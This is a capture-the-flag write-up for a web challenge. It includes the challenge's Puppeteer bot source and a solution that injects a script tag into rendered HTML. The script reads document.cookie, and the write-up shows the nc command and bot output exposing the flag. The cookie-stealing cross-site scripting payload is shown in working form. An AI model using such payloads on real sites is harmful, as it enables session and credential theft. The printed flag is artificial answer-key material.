Under the Beamers

Clobbered or not clobbered, that's the question :)

See here: http://65.109.209.215:5000, the bot port is 4000!

Please download the attachment

Thanks to kevin-mizu as author! 😊

The attachment contains two parts, the first is a web server that renders html. The second is a bot that scrapes the web server with flag stored in cookie:

// Force puppeteer to store everything to /tmp/
process.env.HOME = "/tmp";

const { delay, handleTargetCreated, handleTargetDestroyed, logMainInfo, logMainError } = require("./utils");
const puppeteer = require("puppeteer");

// Banner
const tips = ["Every console.log usage on the bot will be sent back to you :)", "There is a small race window (~10ms) when a new tab is opened where console.log won't return output :("];
console.log(`==========\nTips: ${tips[Math.floor(Math.random() * tips.length)]}\n==========`);

// Spawn the bot and navigate to the user provided link.
async function goto(html) {
    logMainInfo("Starting the browser...");
    const browser = await puppeteer.launch({
        headless: "new",
        ignoreHTTPSErrors: true,
        args: [
            "--no-sandbox",
            "--disable-gpu",
            "--disable-jit",
            "--disable-wasm",
            "--disable-dev-shm-usage",
        ],
        executablePath: "/usr/bin/chromium-browser"
    });

    // Hook tabs events
    browser.on("targetcreated", handleTargetCreated.bind(browser));
    browser.on("targetdestroyed", handleTargetDestroyed.bind(browser));

    /* ** CHALLENGE LOGIC ** */
    const [page] = await browser.pages(); // Reuse the page created by the browser.
    await handleTargetCreated(page.target()); // Since it was created before the event listener was set, we need to hook it up manually.
    await page.setDefaultNavigationTimeout(5000);

    logMainInfo("Going to the app...");
    await browser.setCookie({
        name: "flag",
        value: process.env.FLAG,
        domain: "under-the-beamers-app.internal:5000",
        path: "/",
        httpOnly: false
    });

    logMainInfo("Going to the user provided link...");
    try { await page.goto(`http://under-the-beamers-app.internal:5000/?html=${encodeURIComponent(html)}`) } catch {}
    await delay(2000);

    logMainInfo("Leaving o/");
    await browser.close();
    return;
}

// Handle TCP data
process.stdin.on("data", (data) => {
    const html = data.toString().trim();

    if (!html || html.length > 500) {
        logMainError("You provided an invalid HTML. It should be a non empty string with a length of less than 500 characters.");
        process.exit(1);
    }

    goto(html)
    .then(() => process.exit(0))
    .catch((error) => {
        if (process.env.ENVIRONMENT === "development") {
            console.error(error);
        }
        process.exit(1);
    });
});

Inspired by https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-xss-in-codebeamer-alm-solution-by-ptc/, we can inject arbitrary script into the rendered HTML:

<html><script>alert("abc");</script></html>

Visit http://65.109.209.215:5000/ and write the html above in the text area, and you will see the popup.

Then, we ask the bot to print out the cookie for us:

$ echo '<html><script>console.log(document.cookie);</script></html>' | nc 65.109.209.215 4000
==========
Tips: Every console.log usage on the bot will be sent back to you :)
==========

Starting the browser...
[T1]> New tab created!
[T1]> navigating        | about:blank

Going to the app...

Going to the user provided link...
[T1]> navigating        | http://under-the-beamers-app.internal:5000/?html=%3Chtml%3E%3Cscript%3Econsole.log(document.cookie)%3B%3C%2Fscript%3E%3C%2Fhtml%3E
[T1]> console.log       | flag=ASIS{cfa4807db22fc60758d32ed0950a40e397c8f9c6a11ae89e8235d034f37f3987}
[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (NOT FOUND)
[T1]> console.log       | Initializing Beamer. [Update and engage users effortlessly - https://getbeamer.com]
[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (NOT FOUND)

Flag: ASIS{cfa4807db22fc60758d32ed0950a40e397c8f9c6a11ae89e8235d034f37f3987}.